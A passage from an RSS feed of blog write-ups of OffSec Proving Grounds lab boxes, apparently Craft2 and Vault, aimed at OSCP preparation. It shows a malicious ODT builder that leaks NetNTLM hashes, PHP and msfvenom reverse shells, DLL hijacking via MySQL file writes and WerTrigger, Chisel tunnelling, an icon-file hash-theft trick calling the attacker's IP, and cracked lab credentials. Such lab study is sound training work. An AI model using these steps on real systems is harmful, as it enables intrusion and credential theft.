basically a zip)<br>zin = zipfile.ZipFile (&#39;temp.odt&#39;, &#39;r&#39;)<br>zout = zipfile.ZipFile (&#39;bad.odt&#39;, &#39;w&#39;)<br>for item in zin.infolist():<br>    buffer = zin.read(item.filename)<br>    if (item.filename != &#39;content.xml&#39;):<br>        zout.writestr(item, buffer)<br>zout.close()<br>zin.close()<br><br>#Add our modified content.xml file to our odt file<br>zf = zipfile.ZipFile(&#39;bad.odt&#39;, mode=&#39;a&#39;)<br>try:<br> zf.write(&#39;content.xml&#39;, arcname=&#39;content.xml&#39;)<br>finally:<br> zf.close()<br><br>#Clean up temp files<br>os.remove(&quot;content.xml&quot;)<br>os.remove(&quot;temp.odt&quot;)</pre><p>So how’s your python?</p><p>The author of this left excellent explanatory comments for each meaningful section but when they do not, I like to paste code like this into ChatGPT or Google’s Gemini and ask for an explanation. Note that this should be used <em>as a training wheel only</em> because as of this writing the use of AI is prohibited on the OSCP exam.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vn-eGOenVfhj_zm8VPjnpg.png" /></figure><p>From ChatGPT:</p><blockquote>This Python script creates a malicious OpenDocument Format (ODF) file, specifically designed to exploit a vulnerability in LibreOffice and OpenOffice, versions 6.0.3 and 4.1.5 respectively, allowing for the leakage of NetNTLM credentials. Here’s a breakdown of what the code does:</blockquote><blockquote>It imports necessary modules like ezodf for creating ODF files, os for system operations, zipfile for working with zip files, and base64 for base64 encoding and decoding.</blockquote><blockquote>It starts by creating a blank ODF file named “temp.odt” using ezodf.</blockquote><blockquote>Then it constructs a modified content.xml file containing malicious XML code. This XML structure seems to contain base64 encoded data, presumably for embedding malicious content into the ODF file.</blockquote><blockquote>It prompts the user to input an IP address, which is presumably the address of a listener waiting to receive NetNTLM credentials.</blockquote><blockquote>The script decodes the base64 encoded XML content, inserts the user-provided IP address, and re-encodes the XML content back into base64.</blockquote><blockquote>It writes the modified XML content into a file named “content.xml”.</blockquote><blockquote>It creates a new ODF file named “bad.odt” by copying the contents of the previously created “temp.odt” file, except for the original content.xml file.</blockquote><blockquote>Then, it adds the modified content.xml file to the &quot;bad.odt&quot; file.</blockquote><blockquote>Finally, it cleans up temporary files by removing “content.xml” and “temp.odt”.</blockquote><p>It is unlikely that you already have the ‘ezodf’ module installed on your system so start there.</p><pre>pip install ezodf</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jjfE00d8T4NO5vs7zzI67w.png" /></figure><p>Also before running it is best practice to decode and understand any encoded or obfuscated code. In short, never blindly run encoded scripts found on the internet.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Ml4rvYCjmaJ0n6TuZ0pPg.png" /><figcaption>Everything looks safe to me.</figcaption></figure><p>Give it a sample run.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/948/1*hecXiOhog1qF51AJXIr5bA.png" /></figure><p>If you get this error it means it is actually python2.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*oeLmRSzbffCxNTA_Ec1WtA.png" /></figure><p>I got stuck here :(</p><p>I was unable to install a pip package to work with python2. Can someone please indicate in the comments how this is successfully achieved?</p><p>We can work around it. I found two ways, either translate to python3 using ChatGPT (which is a bad solution for the exam) or search for a version where someone has already done this. There is almost always another <a href="https://github.com/rmdavy/badodf/blob/master/badodt.py">more modern version.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iiizA3JLTfQBU2icvrNHRQ.png" /></figure><p><em>Now</em> if we try a sample run, we get prompted for our IP address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*S45omo0W3iGAPI9cksUShQ.png" /></figure><p>This is a good time to set up responder or a SMB server. I am going to use the SMB server because this is a Windows machine and I may need this for escalation as well.</p><pre>#The format is: sudo python3 smbserver.py NAME folder-to-share -smb2support<br><br>sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py temp $(pwd) -smb2support</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gBXb8sfHpaPgSAHbEMbGaw.png" /></figure><p>Then return to our prompt and enter your tun0 IP address:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*Q5L0CGa3Mb53o5W8MG6Ytg.png" /></figure><p>Now all we have to do is upload this file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lErsEBy8ONJMNhhFLXRDAA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xTY1w7DQ4oo2ANEXlgPy0w.png" /></figure><p>Now if we check our SMB server we should have an authentication from the server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FcL7QggGhH3MpjYz_LjIBw.png" /></figure><p>Paste this NTLM hash into a file and crack. Note that the username includes the machine DNS name and it’s CRAFT2 <em>not</em> CRAFT.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Iaonm_PtZuhbJVQjOJP3gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4cEN0KqNJuLOt8IuEmTShQ.png" /></figure><p>We add these credentials to our notes. Can we get on the machine now?</p><p>Normally with SMB remote management, we see port 5985 open as well, but not in this case. I’ll try psexec.py first.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N2gZgXvY5707FhgDlipxvA.png" /><figcaption>It found a writable share named WebApp! More on that in a minute.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*3OJdMOVz5B8tc93D8E7n0g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/938/1*kOnYyX3gxRJgzr5l0GQQnQ.png" /></figure><p>As you can see, no direct remote access, but we still have SMB file share. We can check it out with our new credentials.</p><pre>crackmapexec smb 192.168.216.188 -u thecybergeek -p winniethepooh --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*khjEC7yNF7aIdmlmN5_PqQ.png" /></figure><p>As expected, we see the non-default share ‘WebApp’. Time to explore the available files.</p><pre>smbclient \\\\$IP\\WebApp -U &#39;CRAFT2\thecybergeek&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*Rbg9hq47oAOBlp1jHh71pQ.png" /></figure><p>We appear to have landed in the document root of the web application — poor configuration. We should be able to upload a webshell here that can be accessed externally.</p><p>There a couple of ways to go to get initial access from here. Many folks will put a simple webshell, something like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*gaQmFPmwMBbxcoK2hLkAmw.png" /></figure><p>While this will work,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*53VAX6Kr8bI3xYKwoBSZYg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*C3TgV10TzDdD5gWu9G3kkw.png" /></figure><p>it is not ideal because we still have to craft a reverse shell payload. I prefer to use the Ivan Sincek reverse shell from <a href="https://www.revshells.com/">revshells.com</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q9lPWRkyU9ue89jrnK4Rxw.png" /></figure><p>Since this is a windows machine with SMB open set your listening port to 135 because we can be confident egress traffic will be allowed. I copied and saved this to a file called ‘new-shell.php’ (the other main shell I use <a href="http://winniethepooh/">Pentest Monkey</a> is called simply ‘shell.php’).</p><p>Set up your listener using rlwrap to ensure arrow functionality upon connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/609/1*rhAgsTKZoL76UrzKOZjdTA.png" /></figure><p>Then put it on the SMB share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GzJ1KGOhLJstQ9ybEQlHAA.png" /></figure><p>Finally curl or navigate to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*EDNBx0zny-gY2SpUaK-DsA.png" /><figcaption>The terminal (or browser) will hang</figcaption></figure><p>Check your listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/875/1*mX3JB8bXYHY7hfLedkw4Lg.png" /></figure><p>Cool, cool what can we do? What are our privileges?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*RMjo2Jzrmss7Y6Ara0zj8w.png" /></figure><p>This is a good setup to run this application, not for us, but the administrator followed the principal of least privilege when creating this user.</p><p>We can get around it. Time to get Winpeas on the machine and see what there is to find.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*WWXVLSTl-co2pKEsWSEMjA.png" /><figcaption>Copy it to my working directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l5okulZaadvDzCRk329SZQ.png" /><figcaption>Use the available SMB share</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*4IJsgEGjQDy2m3q9gRjUjg.png" /><figcaption>There it is!</figcaption></figure><p>Normally I would use my user’s home directory as the working directory but since we have write permission here, this will do.</p><p>Run Winpeas.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*UgOf4yp6dhNjecEMIiYARg.png" /></figure><p>I will include only the sections I find interesting.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j7x7CjW0NA9hm71Q53PmZA.png" /><figcaption>I love it when we can see the hotfixes that are installed.</figcaption></figure><p>When we know the last hotfix, we can look it up to see the last time this machine was updated, this helps us identify exploits the machine may be vulnerable to.</p><p>Winpeas also has some suggestions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CKS3mrn3pnfRjAvbbv1AEQ.png" /><figcaption>I am not familiar with any of these. My process is to poke around on my own and if I do not see anything useful, circle back to these and try them in turn.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KhxqURvm1pncQN1TVJ08WQ.png" /><figcaption>I highlighted thenon-standard path, may be useful.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f8aAqz95rLY04C5alb0BfQ.png" /><figcaption>Users: Administrator, apache, thecybergeek</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*KS1MmCjVJ2dHZaOaUcnZog.png" /><figcaption>MySQL service is running. This was not observable from outside.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QfqUAR4d-49AWdOxyGAKQA.png" /></figure><p>Our nmap scan did not show all these ports as listening; 3306 and 5985 are now present.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LCFgqADfxObI8i9BCkz44Q.png" /><figcaption>I’m not sure what this is. Keep it in notes.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t3R8t6oTCxeBfBlVJfxgQg.png" /><figcaption>This looks dangerous, write/create permissions.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*2AzihunRybjnkju0PnJk7w.png" /><figcaption>This is often an escalation vector</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EsyDuiggIpRX_UEeK7cy6A.png" /><figcaption>C:\xampp seems to have ‘AllAccess’. There might be something here as well.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/403/1*An46NtWN1u4kOfEGMb4UYQ.png" /><figcaption>This is likely an escalation path</figcaption></figure><p>Signs seem to point to MySQL although if we fail there, setting up or altering a Scheduled Task may also work.</p><p>Let’s keep look deeper into what we have found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/786/1*PZAsgmOzcvAjhT5m5lLCtA.png" /><figcaption>Java and Windows10UUpgrade are non-standard</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yGgrAC96Uq64MXSNNFcnEg.png" /><figcaption>Read, write, and append — I really want to do something with this but I don’t think this is the way.</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/486/1*wrXf7MUF6dp2MPDS2G_AwQ.png" /></figure><p>User root and no password for MySQL, is it being run by an Administrator or SYSTEM? Observe that it is accessed through phpMyAdmin.</p><p>To check ownsership:</p><pre>cmd /c sc qc Mysql</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*3i6KMrkWQdGvAEJrsk1LeQ.png" /><figcaption>Yes — okay through here somehow.</figcaption></figure><p>First we need to be able to interact with it, so that means we need to do a port forward. Either <a href="https://github.com/jpillora/chisel/releases/tag/v1.7.7">Chisel </a>or <a href="https://github.com/nicocha30/ligolo-ng">Ligolo-NG</a> is our best bet, both are excellent. I’m going to use Chisel. Ligolo has a bit of a set-up to go through and then you are good to go. If you have never used it, you can quickly learn how <a href="https://www.youtube.com/watch?v=DM1B8S80EvQ&amp;t=209s">here</a>. It is more useful when you have multiple port forwards and/or you are going several machines deep into a network — so it’s perfect for the Active Directory portion of the OSCP Exam. In this case, it’s only one port forward, so Chisel is better suited. Also note that I did not chose the most recent version of Chisel, this was intentional. I have the best success with version 1.7.7 but the newest version should be just fine.</p><p>Use the SMB (or another method) to transfer Chisel to the Windows victim machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kRHAI9yXMtpgfW9PbyxMBw.png" /></figure><p>What should we port forward?</p><p>Winpeas showed us that port 3306 is open, but if we use port 80 and get to MySQL through phpMyAdmin we will have GUI, so I’ll choose that. This way we are accessing port 80 <em>through</em> the localhost.</p><p>Set up the Chisel server on Kali.</p><pre>./chisel_1.7.7_linux_amd64 server -p 8090 --reverse</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mWjFPU1y79k9eaFxaaEwPQ.png" /></figure><p>Then set up the client on the victim, note that this will lock your terminal.</p><pre>#.\chisel_1.7.7_windows_amd64 client &lt;YOUR tun0 IP&gt;:8090 R:80:127.0.0.1:80<br><br>.\chisel_1.7.7_windows_amd64 client 192.168.45.224:8090 R:80:127.0.0.1:80</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TgiLFTSksshOHBiw_PFofQ.png" /></figure><p>Let’s browse to http://localhost/phpmyadmin/ and see if it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xGB8m01YSfUGdVzsX7rwyQ.png" /><figcaption>Yup, we’re in business and we not prompted with a password (because it is blank)</figcaption></figure><p>We are in! As always we want to explore all the functionality plus this <em>IS</em> a database so there may be something juicy in here. Spoiler: there isn’t, but it is best practice to check. The real power here comes from manipulating SQL with Admin privileges. Specifically we have privileged write. To escalate we need to search.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*klb8StqxQw3FIWTlusnStQ.png" /></figure><p><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation.md">PayloadsAllTheThings</a> will lead you here.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fXW08vORL_R_mqoO-byipA.png" /></figure><p>Select WerTrigger for directions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*0f2FjomeMf78DFcwh5gx0g.png" /></figure><p>Finally we end up at <a href="https://github.com/sailay1996/WerTrigger/tree/master/bin">this github repo.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/928/1*snXWQFrzak3LgCgToEzlnQ.png" /></figure><p>Go ahead and clone the git repo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*PaHkeIMjK99IR4zE5q5blQ.png" /></figure><p>Create your own malicious dll — we are going to do a dll hijacking.</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=&lt;YOUR tun0 IP&gt; LPORT=139 -f dll &gt; phoneinfo.dll</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vt2LRNqhkXWJC7bSNj1ARg.png" /></figure><p>Set up another listener now (so you don’t forget)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*WTN2W15OSs6BjmvzGTDJ2A.png" /></figure><p>Take advantage of the SMB share again and put everything from the bin folder except the phoneinfo.dll where you will use the newly created malicious version instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Ak4fT4DcyeRNK9BWAWP_tQ.png" /></figure><p>Now, we are going to use the Privileged Write to move all of these files to C:\windows\system32 using MySQL.</p><pre>select load_file(&#39;C:\\xampp\\htdocs\\phoneinfo.dll&#39;) into dumpfile &#39;C:\\Windows\\system32\\phoneinfo.dll&#39;;<br>select load_file(&#39;C:\\xampp\\htdocs\\Report.wer&#39;) into dumpfile &#39;C:\\Windows\\system32\\Report.wer&#39;;<br>select load_file(&#39;C:\\xampp\\htdocs\\WerTrigger.exe&#39;) into dumpfile &#39;C:\\Windows\\system32\\WerTrigger.exe&#39;;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uFK1KhmMzkpq2HhN76QbFw.png" /><figcaption>Execute this by pressing the ‘GO’ button in the bottom right corner</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*sbGlshEVqklSiLnfkWuFng.png" /><figcaption>You should receive three of these messages to indicate success.</figcaption></figure><p>Now either tear down your chisel connection and get back on the machine or, like me, get on the victim with a second shell. I quickly edited my previous file ‘new-shell.php’ to include a different port and renamed it ‘2nd-shell.php’.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/721/1*tBHIpT4jY26FW9ojRGSnGA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1012/1*EjP9hk5WAC33PDVRajefYQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*ffxFi-L7ZBZsY7NSLJzL0w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*Iiz_f6kkT1udGYT0zdMirA.png" /></figure><p>Now we can move into C:\windows\system32 and execute WerTrigger.exe (and trigger our malicious DLL).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*1T8FubcZP9OVeGjPNJ4-qg.png" /></figure><p>While it reports a failure, if you check your listener, it indeed connected. I may not have used this exploit exactly as expected but it works this way.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*Usk2Bo-un0SWKc4crtxntg.png" /></figure><p>That was quite the journey. Thank you to everyone who helped me find the answers to solve this when I got frustrated and stuck; especially Ace.</p><p>Epilogue:</p><p>Among other things, I tried forwarding port 5985 hoping I could then use thecybergeek’s credentials to get access, but it appears that this user does not have Remote Management capability so I failed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*7TzOzbye9-8kxN5eLXlIEg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf520e6fb34f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds Practice — Vault]]></title>
            <link>https://medium.com/@Dpsypher/proving-grounds-practice-vault-158516460860?source=rss-60268ef8e972------2</link>
            <guid isPermaLink="false">https://medium.com/p/158516460860</guid>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[Dpsypher]]></dc:creator>
            <pubDate>Tue, 26 Mar 2024 17:22:57 GMT</pubDate>
            <atom:updated>2024-03-26T17:22:57.968Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds Practice — Vault</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Nj_6PuGkHgpeIGK1Sxs5Q.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*_y2TZUfm9IHooqSXEY6ymw.png" /></figure><p>This is an easy box on Offsec’s PG Practice but the community disagrees and rates it as hard. There is a trick to this machine that I find super exciting — pure witchcraft.</p><p>Start with a Nmap scan:</p><pre>sudo nmap -Pn -n $IP -sC -sV -p- --open</pre><p>I start nearly every box this way because it quickly returns a wealth of information. Sudo as it defaults to the faster half-open SYN scan, then -Pn to ignore ping and assume it is up, -n to ignore DNS, the IP address, -sC for default scripts, -sV for version information, -p- to scan all ports, and MOST importantly the — open argument to apply scripts and version scans to found open ports<em> only</em>.</p><pre>┌──(kali㉿kali)-[~/offsec-labs/TEMP-publish]<br>└─$ sudo nmap -Pn -n $IP -sC -sV -p- --open          <br>[sudo] password for kali: <br>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-23 13:40 EDT<br>Nmap scan report for 192.168.234.172<br>Host is up (0.078s latency).<br>Not shown: 65514 filtered tcp ports (no-response)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-03-23 17:42:40Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  tcpwrapped<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vault.offsec0., Site: Default-First-Site-Name)<br>3269/tcp  open  tcpwrapped<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>| ssl-cert: Subject: commonName=DC.vault.offsec<br>| Not valid before: 2024-02-17T05:45:56<br>|_Not valid after:  2024-08-18T05:45:56<br>|_ssl-date: 2024-03-23T17:44:09+00:00; 0s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: VAULT<br>|   NetBIOS_Domain_Name: VAULT<br>|   NetBIOS_Computer_Name: DC<br>|   DNS_Domain_Name: vault.offsec<br>|   DNS_Computer_Name: DC.vault.offsec<br>|   DNS_Tree_Name: vault.offsec<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2024-03-23T17:43:30+00:00<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49674/tcp open  msrpc         Microsoft Windows RPC<br>49679/tcp open  msrpc         Microsoft Windows RPC<br>49706/tcp open  msrpc         Microsoft Windows RPC<br>49816/tcp open  msrpc         Microsoft Windows RPC<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-time: <br>|   date: 2024-03-23T17:43:34<br>|_  start_date: N/A<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled and required</pre><p>When the TCP scan finishes, immediately run a UDP scan.</p><pre>sudo nmap -Pn -n $IP -sU --top-ports=100 --reason</pre><p>Even if it comes up empty, scanning the UDP ports as well is best practice. When it hits, it’s usually a big deal, maybe Simple Network Management Protocol (SNMP) is available. Let this run while we review the TCP scan, we’ll come back to it <em>if it becomes important</em>. Note that I am only interested in the top 100 ports. UDP scans take a long time if we are not precise. Lastly we add — reason to understand why ports are returned as open, open|filtered, or closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*L87hg1vpeYU0s9wOtgJetg.png" /></figure><p>What do we see with our initial TCP Nmap scan?</p><p>Quite a lot!</p><ol><li>We see a machine that has not been hardened. Surely all of these services are not in use?</li><li>This is a domain controller as indicated by ports 53 (DNS), 88 (kerberos), and 3389 (RDP) lists the hostname as ‘DC.vault.offsec’</li></ol><p>It is prudent to add the hostname to our /etc/hosts file right away.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*gKH4HoaFmq6l7fPxsNG8jQ.png" /></figure><p>Now we can start enumerating every port from the top.</p><p>Port 53 — DNS, Simple DNS Plus</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*mnTBOsmnOnt77VbxdzPy8w.png" /><figcaption>Nope.</figcaption></figure><p>Port 88 — Kerberos Authentication</p><p>There is not much to do here. We could attempt to brute force usernames but that is a more of a Hail Mary strategy.</p><pre>nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=&quot;{Domain_Name}&quot;,userdb={Big_Userlist} {IP}<br><br>nmap -Pn -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm=&quot;vault.offsec&quot;,userdb=&#39;/home/kali/Desktop/wordlists/seclists/Usernames/Names/names.txt&#39; $IP</pre><p>We could try to get service tickets, but we get stopped by a password prompt.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*YH83bCiI8LLx6ORhkJ2Iqg.png" /></figure><p>Port 135 — Microsoft Windows RPC</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*CFzcrJRxkiVL0yEvZH-YTA.png" /></figure><p>Port 389 — Lightweight Directory Access Protocol</p><p>We can possibly search and access LDAP. Be sure to redirect the output ot a file because if this hits, it will produce a large volume of data and it is ideal to have it contained and searchable from the command line or text editor.</p><pre>ldapsearch -H ldap://$IP -x -b&quot;DC=vault,DC=offsec&quot; &gt; ldap_dump.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JOnwcmn8nMt3VctcAaT5rw.png" /><figcaption>We do not have access.</figcaption></figure><p>139,445 — SMB and Remote Management (Note port 5985, this indicates that Remote Management is available)</p><pre>enum4linux $IP<br><br>smbclient -N -L \\\\$IP\\ </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jojyR5ZmdqTtjO7CxUpaKA.png" /><figcaption>enum4linux fails</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gXgMIsUkfEbigPiVq0HW2A.png" /><figcaption>Hey this looks good!</figcaption></figure><p>Strange that enum4linux failed but smbclient succeeded. That’s why we do them both. Also note that none of this information was gathered by Nmap either.</p><p>DocumentsShare is non-default and likely useful. Let’s go there now.</p><pre>smbclient \\\\$IP\\DocumentsShare</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*mTRrihV1GOe-Nc5d17u6Pg.png" /></figure><p>We can get access but it appears to be empty, nothing is actually shared. Can we share something? Do we have upload permissions?</p><p>Create a simple file to upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1009/1*Evp3019TsQ36cFtuF7D9YA.png" /></figure><p>Then try to put it on the share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*yMhpscyo-Uj6Z0F1w5uOiQ.png" /><figcaption>Success</figcaption></figure><p>Okay, how can we exploit this?</p><p>We are going to start responder and then create a malicious icon file that will call back to our machine giving us NTLM credentials.</p><p>First let’s create the icon. Paste the below code into a file called ‘Evil.url’</p><pre>[InternetShortcut]<br>URL=Random_nonsense<br>WorkingDirectory=Flibertygibbit<br>IconFile=\\&lt;YOUR tun0 IP&gt;\%USERNAME%.icon<br>IconIndex=1</pre><p>like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*oS11GjsEzP4Auf-zGJH-OQ.png" /></figure><p>Start responder.</p><pre>sudo responder -I tun0 -wv </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/804/1*ewgzjoDWR-DExj-niWqpGQ.png" /></figure><p>Put Evil.url on the SMB share.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*qYG8fF1DnSSmtPHpxkmbEA.png" /></figure><p>Check Responder:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O_vOo71WQS2z0FSnaUTxsw.png" /><figcaption>Viola</figcaption></figure><p>Pure witchcraft! You can learn more about this type of attack and other ways to achieve it here:</p><p><a href="https://github.com/Greenwolf/ntlm_theft">GitHub - Greenwolf/ntlm_theft: A tool for generating multiple types of NTLMv2 hash theft files by Jacob Wilkin (Greenwolf)</a></p><p>Meanwhile, we have NTLM credentials. Paste this into a text file so we can crack it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BJvdrbi6OFF6SzVYv3h34g.png" /></figure><pre>john --wordlist=/usr/share/wordlists/rockyou.txt --rules=best64 hash.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5b4KPaIMq4nnOxhmmf33JA.png" /></figure><p>We add the credentials to our notes.</p><pre>anirudh:SecureHM</pre><p>Well, now where can we use it?</p><p>We can either use the remote management WinRM interface via SMB (and port 5985) or maybe these will work with the Remote Desktop (RDP) port port 3389.</p><p>RDP is preferable so I will check that first.</p><pre>xfreerdp /cert:ignore /dynamic-resolution +clipboard /u:&#39;anirudh&#39; /p:&#39;SecureHM&#39; /v:vault.offsec</pre><p>The arguments are self-explanatory: ignore the certification, automatically adjust resolution based on window size, and most importantly include the clipboard.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8SVESbHFlQn3HzAKnGr_w.png" /><figcaption>Fail</figcaption></figure><p>It’s also wise to check this with rdesktop because you get a slightly different output. I like to check with both because I have had one fail and one succeed in the past.</p><pre>rdesktop -u &#39;anirudh&#39; -p &#39;SecureHM&#39; -g 85% -D DC.vault.offsec</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/1*z0mvVX7f4C13dmnVhikIDg.png" /></figure><p>Now that we know RDP is not accessible, we can try to enumerate with crackmapexec.</p><pre>crackmapexec winrm 192.168.237.172 -u anirudh -p SecureHM</pre><figure><img alt="" 